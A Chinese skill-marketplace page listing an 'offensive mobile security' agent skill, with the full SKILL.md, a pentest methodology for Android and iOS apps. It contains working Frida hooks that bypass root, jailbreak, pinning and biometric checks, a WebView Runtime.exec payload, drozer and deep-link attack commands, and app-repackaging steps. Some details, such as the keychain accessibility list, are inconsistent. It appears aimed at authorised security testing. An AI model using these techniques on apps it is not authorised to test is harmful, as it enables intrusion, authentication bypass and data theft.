攻击性移动安全

SKILL运维和基础设施
运维和基础设施 未标注权限 许可证不明确
安装这个技能

攻击性移动安全技能,帮助AI Agent进行安全测试和漏洞检测。

一句话选型结论

按资料字段整理

攻击性移动安全是运维和基础设施类的 Agent Skill,安装方式未标注,权限级别未标注,许可证不明确,有可直接复制的安装命令。技能本质是给模型读的说明书,效果取决于模型与客户端;装完先用一个小任务验证,再放进正式流程。

分类运维和基础设施 安装方式未标注 权限级别未标注权限 许可证许可证不明确
累计安装 未标注 本周 未标注
GitHub 星标 未标注 仓库 未标注
下载量 未标注 技能市场下载数
权限级别 未标注权限 安装前请确认风险范围
许可证 许可证不明确 未说明

安装

未标注
在支持 Skills 的客户端里执行,装完问一句「你有哪些技能」验证
skillhub install user_3c6cb52e/offensive-mobile-me77
  1. 1
    确认客户端支持

    确认你的客户端支持 Skills(Claude、Codex、Cursor 等),并升级到较新的版本。

  2. 2
    拿到技能文件

    执行上面的命令安装;也可以把仓库里的 SKILL.md 手动放进客户端的 skills 目录。

  3. 3
    刷新技能列表

    重新打开客户端,或刷新技能列表,让新放进来的技能被加载。

  4. 4
    验证是否生效

    问一句「你有哪些技能」,确认列表里出现它,再拿一个小任务试跑。

技能档案

运维和基础设施
字段来自技能仓库与公开索引,中文说明由本站标注
作者 / 维护方user_3c6cb52e仓库 未标注 · 版本 未标注
宿主客户端未标注技能可被这些客户端加载
安装方式未标注安装包 community
权限级别未标注权限安装前请确认风险范围
许可证未说明许可证不明确,商用前请自行确认条款
仓库可用性available技能仓库当前是否可访问
最近核验未标注上游最后核验时间 · 数据更新 1791623481
正文体量13.5 KBSKILL.md 原文大小,越大说明说明书写得越细

典型使用场景

3 类
按分类整理的常见用法,具体以 SKILL.md 为准
查服务与日志

按现象定位服务状态与日志线索。

写部署与巡检脚本

把重复的部署、巡检写成脚本。

故障排查

按步骤排查网络、依赖与配置。

选择建议

装之前先看这几条
按条目字段给出的判断,不替你决定用不用

值得选的地方

  • 有可直接复制的安装命令,不用自己翻文档找入口。

先想清楚的地方

  • 没有标注权限级别,实际能做什么要装好后确认。
  • 许可证不明确,商用或二次分发前先到仓库确认条款。
  • 没有做站内核验,内容以作者仓库为准。
  • 技能只是说明书,实际效果取决于模型与客户端,装完先用小任务试一遍。

更适合

  • 需要在运维和基础设施场景里给模型补一套做法的人。
  • 愿意先读一遍 SKILL.md、确认它会让模型做什么的人。

不太适合

  • 对许可证要求很严、必须明确可商用的人。
  • 只想装完就自动变强、不打算看说明书的人。

同类对比

6 个同类
同分类里挑最接近的几条,字段以各自详情页为准
技能权限级别安装方式累计安装宿主客户端安装命令
攻击性移动安全当前 未标注权限 未标注 未标注 未标注 有
Azure 部署 调用外部服务 GitHub 仓库 664.2 万 Codex、Claude、Cursor 有
Azure diagnostics 问题管理 调用外部服务 GitHub 仓库 657.6 万 Codex、Claude、Cursor 有
Azure aigateway 部署 调用外部服务 GitHub 仓库 655.3 万 Codex、Claude、Cursor 有
Azure AI 搜索 调用外部服务 GitHub 仓库 651.4 万 Codex、Claude、Cursor 有
Azure Cloud migrate 部署 调用外部服务 GitHub 仓库 650.7 万 Codex、Claude、Cursor 有

SKILL.md 全文

13.5 KB
模型实际读到的说明书原文,来自技能仓库

Mobile (Android + iOS) — Offensive Testing Methodology

Quick Workflow

  1. Static: pull the IPA/APK, decompile, dump resources/strings, identify endpoints
  2. Dynamic: install on rooted/jailbroken device, hook with Frida, intercept TLS
  3. Map exported attack surface: deep links, URL schemes, exported components
  4. Storage / Keystore audit: where do secrets live, what protects them
  5. API: every backend the app talks to is your scope — test like a web app

Lab Setup

Android

  • Rooted device or Genymotion / Android Studio AVD with userdebug build
  • Magisk for systemless root; LSPosed for hooks; Frida server matching device arch
  • Burp / Mitmproxy with system-trusted CA via Magisk module (MagiskTrustUserCerts)

iOS

  • Jailbroken device (palera1n / checkra1n / Dopamine depending on iOS version)
  • Frida + Objection + Filza + SSH via USB (iproxy 2222 22)
  • Burp CA installed via Settings → General → Device Management → Certificate Trust Settings

Static Analysis

Android

# Decode resources + smali
apktool d app.apk -o app

# Decompile to Java
jadx -d app_src app.apk

# Manifest review
xmllint --format app/AndroidManifest.xml | less
# Look for: android:exported="true", intent-filters, custom permissions, debuggable, allowBackup, networkSecurityConfig
# Secrets and endpoints
grep -rE '(https?://[a-z0-9.-]+|api[_-]?key|secret|token|firebase|amazonaws|appspot)' app_src/
grep -r "Log\.[dwief]" app_src/   # leftover debug logs

# Native libs
file app/lib/*/*.so
# RE in Ghidra/IDA; look for JNI_OnLoad and exported Java_* functions

iOS

# Pull IPA from device
frida-ios-dump -o app.ipa "com.vendor.app"

# Or via App Store via 3rd-party tools (Apple Configurator with paid acct, etc.)
unzip app.ipa
# Decrypt if needed (jailbroken device): bagbak / clutch
bagbak com.vendor.app

# Class dump
class-dump-dyld -H Payload/App.app/App -o headers/
# Or for Swift symbols, use Hopper / IDA

# Strings / endpoints
strings -a Payload/App.app/App | grep -E '(https?://|key|secret|api)'
# Info.plist analysis
plutil -p Payload/App.app/Info.plist
# Look for: NSAppTransportSecurity exceptions, CFBundleURLTypes (URL schemes),
# associated-domains entitlements, UIFileSharingEnabled, ATS exemptions

Dynamic Analysis & Frida

Common Hooks

// Bypass SSL pinning (Android — generic OkHttp/CertificatePinner/TrustManager)
Java.perform(() => {
  const X509TrustManager = Java.use('javax.net.ssl.X509TrustManager');
  const TrustManagerFactory = Java.use('javax.net.ssl.TrustManagerFactory');
  // ... full bypass scripts: codeshare.frida.re/@pcipolloni/universal-android-ssl-pinning-bypass-with-frida
});

// Bypass root detection
Java.perform(() => {
  const File = Java.use('java.io.File');
  File.exists.implementation = function () {
    const path = this.getAbsolutePath();
    if (path.includes('su') || path.includes('Magisk')) return false;
    return this.exists();
  };
});

// iOS — bypass jailbreak detection
const stat = Module.findExportByName(null, 'stat');
Interceptor.attach(stat, {
  onEnter(args) {
    const path = args[0].readUtf8String();
    if (/Cydia|jailbreak|substrate|frida/i.test(path)) {
      args[0] = Memory.allocUtf8String('/nonexistent');
    }
  }
});

Objection (Frida-based shortcuts)

objection -g com.vendor.app explore
# Then inside:
android sslpinning disable
android root disable
android hooking list activities
android intent launch_activity com.vendor.app/.SecretActivity
ios sslpinning disable
ios jailbreak disable
ios keychain dump

SSL / TLS Interception

Android Network Security Config

App with <network-security-config> requiring its own pinned CA: edit res/xml/network_security_config.xml, repack:

apktool b app -o app-patched.apk
apksigner sign --ks debug.keystore app-patched.apk

Or live-bypass with Frida (preferred — no recompile).

iOS ATS / Pinning

For pinning, use Frida hooks against SecTrustEvaluate* / NSURLSession delegate methods. ATS exceptions in Info.plist (NSAllowsArbitraryLoads) make MITM trivial without pinning.


Exported / IPC Attack Surface

Android — Exported Components

drozer console connect
> run app.package.attacksurface com.vendor.app
> run app.activity.start --component com.vendor.app .ExportedActivity \
    --extra string url 'javascript:alert(1)'
> run app.provider.query content://com.vendor.app.provider/secrets

Targets:
- exported="true" activities → call from another app, bypass auth
- ContentProviders without grantUriPermissions → arbitrary read
- Receivers handling BOOT_COMPLETED etc. with privileged actions
- Services bound by intent extras → command injection

Intent Redirection / PendingIntent Hijack

// Vulnerable: PendingIntent with implicit Intent given to untrusted app
PendingIntent.getActivity(this, 0, new Intent(), FLAG_MUTABLE)
// Attacker fills the empty Intent → action runs with victim app's identity

iOS — URL Schemes / Universal Links

# Open custom scheme (test from another app)
plutil -p Payload/App.app/Info.plist | grep -A 5 CFBundleURLTypes
# Then on device:
xcrun simctl openurl booted "vendorapp://payment?to=ATTACKER&amount=9999"

Universal Links: check apple-app-site-association on the linked domain — open redirect on that domain → universal-link claim → in-app webview navigation.

iOS XPC / Mach Services

launchctl list | grep com.vendor enumerates the app's launch services. XPC handlers without proper audit-token validation accept messages from any process.


Insecure Data Storage

Android

# On device (root), pull app data
adb shell "su -c 'tar -cz /data/data/com.vendor.app'" > app_data.tgz

Inspect:
- shared_prefs/*.xml — preferences in plaintext
- databases/*.db — SQLite (use sqlite3 to dump)
- files/ — arbitrary writes
- cache/ and external storage (sdcard/Android/data/...) — often readable across apps

Android Keystore Misuse

  • Keys created without setUserAuthenticationRequired(true) → use any time process is running
  • AES-GCM with reused IV (devs often hardcode IV)
  • RSA without proper padding (PKCS1 v1.5 vs OAEP)

iOS Keychain

# Objection
ios keychain dump
# Look for kSecAttrAccessible values:
#   AlwaysThisDeviceOnly  → readable when phone locked (bad for secrets)
#   WhenUnlocked          → standard
#   AlwaysThisDeviceOnly  → bypasses screen lock

iOS Data Protection classes: NSFileProtectionNone files are readable on a jailbroken device even when locked.


WebView Vulnerabilities

Android addJavascriptInterface

If the app exposes a JS bridge with reflection-capable objects, JS in any loaded page = arbitrary Java method invocation.

// In a page loaded by the WebView
JSBridge.getClass().forName('java.lang.Runtime')
  .getMethod('exec', String).invoke(JSBridge.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null), 'id')

file:// and Content://

WebView with setAllowFileAccessFromFileURLs(true) + a HTML attachment that the user opens → reads any file the app can.

iOS WKWebView

  • WKWebViewConfiguration.preferences.javaScriptCanOpenWindowsAutomatically
  • wkScriptMessageHandler exposed — same JS bridge concern as Android
  • File URL load with loadFileURL and broad allowingReadAccessTo directory

Biometric / Auth Bypass

Android BiometricPrompt

Apps using BiometricPrompt without binding the cryptographic operation to authentication can be bypassed by hooking the result callback.

Java.perform(() => {
  const Cb = Java.use('androidx.biometric.BiometricPrompt$AuthenticationCallback');
  Cb.onAuthenticationSucceeded.implementation = function (r) {
    return this.onAuthenticationSucceeded(r);  // accept whatever
  };
  Cb.onAuthenticationFailed.implementation = function () { /* ignore */ };
});

iOS LAContext

evaluatePolicy(.deviceOwnerAuthenticationWithBiometrics) — if the app trusts the boolean result without using a Keychain item bound to biometrics, you can flip it.

const LAContext = ObjC.classes.LAContext;
Interceptor.attach(LAContext['- evaluatePolicy:localizedReason:reply:'].implementation, {
  onEnter(args) {
    const cb = new ObjC.Block(args[4]);
    const orig = cb.implementation;
    cb.implementation = function(success, err) { orig.call(this, true, NULL); };
  }
});

The fix on the dev side is to use a biometric-bound key in the Keychain — the bypass above doesn't yield key access.


Firebase / Cloud Misconfig (highest hit-rate)

Firebase Realtime DB (still common)

Pull URL from app:

strings app.apk | grep -E "https://[a-z0-9-]+\.firebaseio\.com"
# Test for unauth read
curl https://target-app.firebaseio.com/.json
# If returns data → unauth read

Firestore

Rules misconfigured to allow read, write: if true; — visible in app's REST calls. Test with anon SDK or direct REST.

S3 / GCS / Azure Blob

Unsigned URLs in API responses, or bucket names guessable from app package — test public-read, public-write, ACL.

Embedded API Keys

Google Maps key restricted properly? Stripe publishable vs secret? Twilio? AWS access keys in plaintext (still happens) → cloud takeover.

truffleHog filesystem app_src/
gitleaks detect --source app_src/

Mobile API Testing

The backend is the same as a web app — pivot to web/API methodology once you've extracted the endpoints. Things specific to mobile:

  • Device-bound headers (X-Device-ID, X-App-Version, X-Signature) often calculable client-side. Pull the algorithm from the binary.
  • Request signing: HMAC with key embedded in app → game over, sign anything.
  • Mobile-only endpoints that skip rate limiting because they're "behind app authentication"
  • Older API versions still alive: /api/v1/... retired in newer app, server still serving with weaker auth.
  • Push notification topics: subscribing to /topics/<predictable> may receive messages meant for others (Firebase Messaging).

App Tampering & Repackaging

# Patch a check (e.g. premium=true)
# Smali edit
sed -i 's/return-void/const\/4 v0, 0x1\n    return v0/' app/smali/com/vendor/Premium.smali
apktool b app -o patched.apk
apksigner sign --ks debug.keystore patched.apk
adb install -r patched.apk

For commercial bypasses, use LSPosed module so original APK isn't modified — bypasses signature checks that lock down repackaged variants.


iOS Specifics

Entitlements

codesign -d --entitlements - Payload/App.app/App

Look for: keychain-access-groups (cross-app keychain), com.apple.security.application-groups (shared containers), com.apple.developer.associated-domains (universal links), private entitlements (rare).

URL Schemes from Other Apps

[[UIApplication sharedApplication] openURL:[NSURL URLWithString:@"vendorapp://..."]];

Any app can invoke any registered URL scheme. Validate sender? Most don't.

App Groups Shared Container

/private/var/mobile/Containers/Shared/AppGroup/<UUID>/

Multiple apps from same vendor share — secrets here cross app boundary.


Detection / Defender View

Detector Bypass
Frida server detection (port 27042 open) Run frida-server on alt port, use frida -H
Magisk detection via /sbin/magisk Magisk Hide / DenyList
Emulator detection Run on real device, or stub Build.FINGERPRINT etc.
iOS jailbreak detection (file existence) Frida hook stat / fopen / dlopen
Anti-debug ptrace(PT_DENY_ATTACH) Frida-stalker-based, or kernel patch
Certificate pinning Frida universal pinning bypass
App attestation (Play Integrity / DeviceCheck) Hard — usually requires server-side bypass or app attestation token relay

Engagement Checklist

[ ] Pull IPA/APK from device
[ ] Decompile / class-dump
[ ] Grep for endpoints, keys, tokens
[ ] Manifest / Info.plist review
[ ] Static-find exported components, deep links, URL schemes
[ ] Install on rooted/jailbroken; configure Frida
[ ] Bypass pinning, MITM all traffic
[ ] Test every API the app calls (web methodology)
[ ] Test exported components from another app / drozer / runtime
[ ] Inspect on-device storage (sharedprefs, sqlite, keychain)
[ ] Test biometric flows for unbound auth
[ ] Test deep links / URL schemes for auth bypass / open redirect / IDOR
[ ] Cloud config: Firebase rules, S3 buckets, signed URLs
[ ] Push topics / subscription model
[ ] Device-binding / signing scheme analysis

Key References

  • OWASP MASTG (Mobile Application Security Testing Guide)
  • OWASP MASVS — verification standard
  • Frida CodeShare — codeshare.frida.re for ready-to-use hooks
  • mobile-security-framework / MobSF for automated triage
  • Source: https://github.com/SnailSploit/offensive-checklist/blob/main/mobile.md

常见问题

5 问
答案由本站依据条目字段整理
攻击性移动安全怎么安装?

在支持 Skills 的客户端里执行:skillhub install user_3c6cb52e/offensive-mobile-me77。安装方式为未标注。装完刷新技能列表或重开客户端。

攻击性移动安全支持哪些客户端?

资料没有标注宿主客户端,但只要客户端支持 Skills(Claude、Codex、Cursor 等),一般都能加载。

攻击性移动安全权限高吗,安全吗?

权限级别为未标注权限。安装前先看它会读取或写入哪些内容。

攻击性移动安全收费吗?

本站不代收费用,也没有标注具体价格。是否收费取决于技能本身和所用的模型或客户端,正式使用前按作者说明确认。

攻击性移动安全用什么许可证?

许可证标注为 未说明(许可证不明确)。商用或二次分发前请到仓库确认条款原文。

热门专题

按场景挑技能
全部专题 →

技能内容以作者仓库为准;分类、权限级别与许可证状态的中文说明为中文整理,最近核验 未标注。